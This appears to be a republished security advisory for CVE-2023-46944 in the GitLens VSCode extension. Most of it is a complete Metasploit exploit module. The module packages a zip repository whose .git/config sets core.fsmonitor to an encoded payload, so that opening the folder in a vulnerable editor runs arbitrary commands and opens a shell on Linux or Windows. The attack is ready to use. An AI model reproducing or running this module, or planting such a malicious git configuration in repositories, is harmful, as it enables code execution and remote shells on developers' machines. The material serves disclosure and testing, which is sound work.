Headline
GitLens Git Local Configuration Execution
GitKraken GitLens versions prior to 14.0.0 allow an untrusted workspace to execute git commands. A repo may include its own .git folder including a malicious config file to execute arbitrary code. Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super( update_info( info, 'Name' => 'GitLens Git Local Configuration Exec', 'Description' => %q{ GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git commands. A repo may include its own .git folder including a malicious config file to execute arbitrary code. Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # Metasploit module 'Paul Gerste', # Original advisory and PoC ], 'References' => [ ['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'], ['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook ['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch ['CVE', '2023-46944'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => false, 'FILENAME' => 'repo.zip', 'WfsDelay' => 3_600 # 1hr }, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Linux/Unix (In-Memory)', { 'Platform' => [ 'unix', 'linux' ], 'Type' => :unix_cmd }, ], # There may be a size limit, but using fetch payloads works great [ 'PowerShell (In-Memory)', { 'Platform' => 'win', 'Payload' => { 'BadChars' => '"&' } } ], ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away }, 'Privileged' => false, 'DisclosureDate' => '2023-11-14' ) ) register_options([ OptString.new('README', [true, 'The contents of the readme markdown file', '# Test']) ]) end def readme datastore['README'].to_s end def git_head 'ref: refs/heads/master' end def git_config %([core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload end def exploit # Create malicious zip archive containing our git repo files = [ { data: readme, fname: 'README.md' }, { data: git_config, fname: '.git/config' }, { data: git_head, fname: '.git/HEAD' }, { data: '', fname: '.git/objects/info/' }, { data: '', fname: '.git/objects/pack/' }, { data: '', fname: '.git/refs/heads/' }, { data: '', fname: '.git/refs/tags/' }, ] zip = Msf::Util::EXE.to_zip(files) file_create(zip) print_status('Waiting for shell') endend